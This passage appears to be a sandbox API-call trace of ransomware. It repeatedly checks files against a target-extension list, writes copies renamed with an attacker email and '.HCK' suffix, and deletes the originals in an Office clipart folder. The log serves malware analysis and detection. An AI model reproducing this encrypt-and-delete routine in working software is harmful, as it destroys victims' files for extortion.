(lpString1=".xlsx", lpString2="2.WMF") returned -1 [0169.003] lstrlenW (lpString=".ppt") returned 4 [0169.003] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0169.003] lstrlenW (lpString=".zip") returned 4 [0169.003] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.003] lstrlenW (lpString=".rar") returned 4 [0169.003] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.003] lstrlenW (lpString=".bz2") returned 4 [0169.003] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.003] lstrlenW (lpString=".7z") returned 3 [0169.003] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0169.003] lstrlenW (lpString=".dbf") returned 4 [0169.003] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0169.003] lstrlenW (lpString=".1cd") returned 4 [0169.003] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152882.WMF") returned 68 [0169.003] lstrlenW (lpString=".jpg") returned 4 [0169.003] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.003] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.003] lstrlenW (lpString="J0152894.WMF") returned 12 [0169.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0169.013] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=11348) returned 1 [0169.013] CloseHandle (hObject=0x39c) returned 1 [0169.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf")) returned 0x220 [0169.024] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0169.036] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.036] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0169.041] GetLastError () returned 0x0 [0169.041] ReadFile (in: hFile=0x330, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2c54, lpOverlapped=0x0) returned 1 [0169.043] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2c60, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2c60, lpOverlapped=0x0) returned 1 [0169.043] ReadFile (in: hFile=0x330, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.043] WriteFile (in: hFile=0x368, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.043] SetEndOfFile (hFile=0x368) returned 1 [0169.045] CloseHandle (hObject=0x368) returned 1 [0169.045] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.045] SetEndOfFile (hFile=0x330) returned 1 [0169.050] CloseHandle (hObject=0x330) returned 1 [0169.051] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.051] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152894.wmf")) returned 1 [0169.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0169.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0169.053] lstrlenW (lpString=".doc") returned 4 [0169.053] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.054] lstrlenW (lpString=".docx") returned 5 [0169.054] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0169.054] lstrlenW (lpString=".pdf") returned 4 [0169.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.054] lstrlenW (lpString=".xls") returned 4 [0169.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.054] lstrlenW (lpString=".xlsx") returned 5 [0169.054] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0169.054] lstrlenW (lpString=".ppt") returned 4 [0169.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0169.054] lstrlenW (lpString=".zip") returned 4 [0169.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.054] lstrlenW (lpString=".rar") returned 4 [0169.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.054] lstrlenW (lpString=".bz2") returned 4 [0169.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.054] lstrlenW (lpString=".7z") returned 3 [0169.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0169.054] lstrlenW (lpString=".dbf") returned 4 [0169.054] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0169.054] lstrlenW (lpString=".1cd") returned 4 [0169.054] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0169.054] lstrlenW (lpString=".jpg") returned 4 [0169.054] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0169.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0169.054] lstrlenW (lpString=".doc") returned 4 [0169.054] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.054] lstrlenW (lpString=".docx") returned 5 [0169.054] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0169.054] lstrlenW (lpString=".pdf") returned 4 [0169.054] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.054] lstrlenW (lpString=".xls") returned 4 [0169.054] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.054] lstrlenW (lpString=".xlsx") returned 5 [0169.054] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0169.054] lstrlenW (lpString=".ppt") returned 4 [0169.054] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0169.054] lstrlenW (lpString=".zip") returned 4 [0169.054] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.054] lstrlenW (lpString=".rar") returned 4 [0169.054] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.054] lstrlenW (lpString=".bz2") returned 4 [0169.054] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.054] lstrlenW (lpString=".7z") returned 3 [0169.054] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0169.054] lstrlenW (lpString=".dbf") returned 4 [0169.055] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0169.055] lstrlenW (lpString=".1cd") returned 4 [0169.055] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152894.WMF") returned 68 [0169.055] lstrlenW (lpString=".jpg") returned 4 [0169.055] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.055] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.055] lstrlenW (lpString="J0153089.WMF") returned 12 [0169.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.060] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=7848) returned 1 [0169.060] CloseHandle (hObject=0x370) returned 1 [0169.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf")) returned 0x220 [0169.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.066] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.066] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0169.073] GetLastError () returned 0x0 [0169.073] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1ea8, lpOverlapped=0x0) returned 1 [0169.074] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1eb0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1eb0, lpOverlapped=0x0) returned 1 [0169.075] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.075] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.075] SetEndOfFile (hFile=0x394) returned 1 [0169.080] CloseHandle (hObject=0x394) returned 1 [0169.083] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.083] SetEndOfFile (hFile=0x370) returned 1 [0169.084] CloseHandle (hObject=0x370) returned 1 [0169.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.085] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153089.wmf")) returned 1 [0169.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0169.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0169.089] lstrlenW (lpString=".doc") returned 4 [0169.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.089] lstrlenW (lpString=".docx") returned 5 [0169.089] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0169.089] lstrlenW (lpString=".pdf") returned 4 [0169.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.089] lstrlenW (lpString=".xls") returned 4 [0169.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.089] lstrlenW (lpString=".xlsx") returned 5 [0169.089] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0169.089] lstrlenW (lpString=".ppt") returned 4 [0169.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0169.089] lstrlenW (lpString=".zip") returned 4 [0169.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.089] lstrlenW (lpString=".rar") returned 4 [0169.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.089] lstrlenW (lpString=".bz2") returned 4 [0169.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.089] lstrlenW (lpString=".7z") returned 3 [0169.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0169.089] lstrlenW (lpString=".dbf") returned 4 [0169.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0169.089] lstrlenW (lpString=".1cd") returned 4 [0169.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0169.089] lstrlenW (lpString=".jpg") returned 4 [0169.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0169.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0169.089] lstrlenW (lpString=".doc") returned 4 [0169.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.089] lstrlenW (lpString=".docx") returned 5 [0169.089] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0169.089] lstrlenW (lpString=".pdf") returned 4 [0169.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.089] lstrlenW (lpString=".xls") returned 4 [0169.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.089] lstrlenW (lpString=".xlsx") returned 5 [0169.089] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0169.089] lstrlenW (lpString=".ppt") returned 4 [0169.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0169.089] lstrlenW (lpString=".zip") returned 4 [0169.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.089] lstrlenW (lpString=".rar") returned 4 [0169.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.089] lstrlenW (lpString=".bz2") returned 4 [0169.090] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.090] lstrlenW (lpString=".7z") returned 3 [0169.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0169.090] lstrlenW (lpString=".dbf") returned 4 [0169.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0169.090] lstrlenW (lpString=".1cd") returned 4 [0169.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153089.WMF") returned 68 [0169.090] lstrlenW (lpString=".jpg") returned 4 [0169.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.090] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0169.090] lstrlenW (lpString="J0153265.WMF") returned 12 [0169.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0169.094] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=3008) returned 1 [0169.094] CloseHandle (hObject=0x368) returned 1 [0169.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf")) returned 0x220 [0169.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0169.099] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0169.104] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.104] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0169.110] GetLastError () returned 0x0 [0169.110] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xbc0, lpOverlapped=0x0) returned 1 [0169.112] WriteFile (in: hFile=0x2ec, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0169.113] ReadFile (in: hFile=0x370, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0169.113] WriteFile (in: hFile=0x2ec, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0169.113] SetEndOfFile (hFile=0x2ec) returned 1 [0169.116] CloseHandle (hObject=0x2ec) returned 1 [0169.118] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0169.118] SetEndOfFile (hFile=0x370) returned 1 [0169.120] CloseHandle (hObject=0x370) returned 1 [0169.120] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0169.120] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153265.wmf")) returned 1 [0169.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0169.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0169.122] lstrlenW (lpString=".doc") returned 4 [0169.122] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.122] lstrlenW (lpString=".docx") returned 5 [0169.122] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0169.122] lstrlenW (lpString=".pdf") returned 4 [0169.122] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.122] lstrlenW (lpString=".xls") returned 4 [0169.122] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.122] lstrlenW (lpString=".xlsx") returned 5 [0169.122] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0169.122] lstrlenW (lpString=".ppt") returned 4 [0169.122] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0169.122] lstrlenW (lpString=".zip") returned 4 [0169.122] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.122] lstrlenW (lpString=".rar") returned 4 [0169.122] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.122] lstrlenW (lpString=".bz2") returned 4 [0169.122] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0169.122] lstrlenW (lpString=".7z") returned 3 [0169.122] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0169.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0169.122] lstrlenW (lpString=".dbf") returned 4 [0169.122] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0169.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0169.122] lstrlenW (lpString=".1cd") returned 4 [0169.122] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0169.122] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0169.122] lstrlenW (lpString=".jpg") returned 4 [0169.122] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0169.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0169.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0169.123] lstrlenW (lpString=".doc") returned 4 [0169.123] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0169.123] lstrlenW (lpString=".docx") returned 5 [0169.123] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0169.123] lstrlenW (lpString=".pdf") returned 4 [0169.123] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0169.123] lstrlenW (lpString=".xls") returned 4 [0169.123] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0169.123] lstrlenW (lpString=".xlsx") returned 5 [0169.123] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0169.123] lstrlenW (lpString=".ppt") returned 4 [0169.123] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0169.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153265.WMF") returned 68 [0169.123] lstrlenW (lpString=".zip") returned 4 [0169.123] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0169.123] lstrlenW (lpString=".rar") returned 4 [0169.123] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0169.123] lstrlenW (lpString=".bz2") returned 4 [0169.123] lstrcmpiW (lpString1=".bz2", 